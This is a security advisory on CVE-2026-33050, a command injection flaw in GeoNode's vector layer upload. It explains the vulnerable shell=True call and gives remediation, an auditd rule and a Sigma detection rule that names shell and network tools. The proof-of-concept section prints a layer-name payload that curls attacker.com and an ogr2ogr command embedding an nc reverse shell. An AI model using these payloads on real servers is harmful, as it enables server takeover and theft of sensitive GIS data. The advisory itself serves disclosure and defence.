CVE-2026-33050: GeoNode Vector Upload Layer Name OS Command Injection
A high-severity OS command injection vulnerability (CVE-2026-33050) has been disclosed in GeoNode, the premier open-source geospatial content management system and Spatial Data Infrastructure (SDI) platform. In versions prior to 5.1.0, GeoNode fails to sanitize vector layer metadata when handling spatial dataset uploads (such as Shapefiles, GeoJSON, or GeoPackage archives). An authenticated user who submits an upload request with shell metacharacters embedded within the layer name induces command injection during background format conversion and spatial indexing. Because public self-registration is frequently enabled on regional and national open data portals, low-privileged authentication is trivially acquired, allowing attackers to obtain direct interactive shell access on the application server. Hermes evaluates CVE-2026-33050 at HTS 86 (HIGH).
HERMES THREAT SCORE & GEOSPATIAL PLATFORM INTEGRITY EVALUATION
Target:GeoNode Vector Processing Subsystem (geonode/layers/utils.py) While CVSS v3.1 rates this defect at 8.8 (High) due to the Low Privileges requirement, Hermes assigns an HTS of 86 (HIGH). GeoNode instances host sensitive cadastral, territorial, and national infrastructure GIS databases. On open GIS portals where anyone can create a basic community account, the authentication barrier offers negligible friction, converting upload endpoints into direct server takeover vectors.
1. Executive Summary & Overview
Section titled โ1. Executive Summary & OverviewโGeoNode is an open-source geospatial platform based on Django, GeoServer, and PostGIS, widely deployed by governmental agencies, emergency management services, and environmental research institutes to manage and share spatial datasets.
In November 2026, security researchers identified a command injection vulnerability tracked as CVE-2026-33050 (GitHub Advisory GHSA-9fpx-fr6j-2vh6). By uploading a vector file with a manipulated layer identifier containing shell separators, an attacker forces the server to execute arbitrary shell commands under the permissions of the geonode application user.
2. Root Cause Analysis & Technical Mechanics (CWE-78)
Section titled โ2. Root Cause Analysis & Technical Mechanics (CWE-78)โDuring vector data ingestion, GeoNode invokes external geospatial command-line tools (such as GDAL/OGR utilities ogr2ogr or shp2pgsql) to convert uploaded layers into PostGIS spatial tables.
Vulnerable Subprocess Call
Section titled โVulnerable Subprocess CallโIn versions prior to 5.1.0, layer names extracted from uploaded metadata were concatenated directly into shell strings:
# geonode/layers/utils.py (Vulnerable Implementation)def import_layer(file_path, layer_name): # Improper string interpolation with shell=True cmd = f"/usr/bin/ogr2ogr -f PostgreSQL PG:'...' '{file_path}' '{layer_name}'" subprocess.call(cmd, shell=True)If an attacker constructs a vector file (such as a zipped Shapefile) whose internal layer identifier is:
layer1'; id; curl http://attacker.com/$(whoami);#The shell executes ogr2ogr, followed immediately by the injected commands id and curl, enabling full interactive reverse shell establishment.
3. Attack Vector & Proof-of-Concept Workflow
Section titled โ3. Attack Vector & Proof-of-Concept Workflowโ- Account Registration / Authentication: The attacker registers a standard user account on the public GeoNode instance.
- Crafting Vector Payload: The attacker constructs an ESRI Shapefile where the layer metadata name contains command separators:
Terminal window ogr2ogr -f "ESRI Shapefile" "payload.shp" input.geojson -nln "boundary';nc -e /bin/sh 198.51.100.1 4444;#" - Upload via REST API: The file is submitted to
/layers/upload:POST /layers/upload HTTP/1.1Host: target-geonode.orgAuthorization: Bearer <user_token>Content-Type: multipart/form-data; boundary=----WebKitFormBoundary - Execution: The Celery background task executes the geoprocessing command, launching the reverse shell.
4. Affected Versions & Remediation Matrix
Section titled โ4. Affected Versions & Remediation Matrixโ| Platform | Vulnerable Versions | Patched Release |
|---|---|---|
GeoNode (PyPI package GeoNode) | < 5.1.0 | 5.1.0 |
5. Detection Engineering & Threat Hunting
Section titled โ5. Detection Engineering & Threat HuntingโAuditd Rule
Section titled โAuditd RuleโMonitor for unusual shell spawning from Python or Celery workers:
auditctl -a always,exit -F arch=b64 -S execve -F ppid=<GUNICORN_PID> -k geonode_rceSigma Rule
Section titled โSigma Ruleโtitle: GeoNode Suspicious Child Process Spawnid: cve-2026-33050-geonodestatus: experimentaldescription: Detects command execution spawned by GeoNode web workers or Celery task processes.logsource: category: process_creation product: linuxdetection: selection: ParentImage|endswith: - '/python' - '/python3' - '/celery' - '/gunicorn' Image|endswith: - '/sh' - '/bash' - '/curl' - '/wget' - '/nc' condition: selectionlevel: hightags: - attack.execution - attack.t1059.0046. Remediation & Hardening Roadmap
Section titled โ6. Remediation & Hardening Roadmapโ-
Upgrade GeoNode to 5.1.0 or Later: Upgrade via pip or rebuild deployment containers:
Terminal window pip install --upgrade GeoNode>=5.1.0 -
Restrict Public Upload Permissions: If upgrades cannot be immediately applied, restrict vector upload permissions in
settings.py:LOCKDOWN_GEONODE = TrueENABLE_AUTO_REGISTER = False -
Isolate Celery Workers with AppArmor / SELinux: Confine geoprocessing worker containers so that network egress and shell execution are strictly bounded.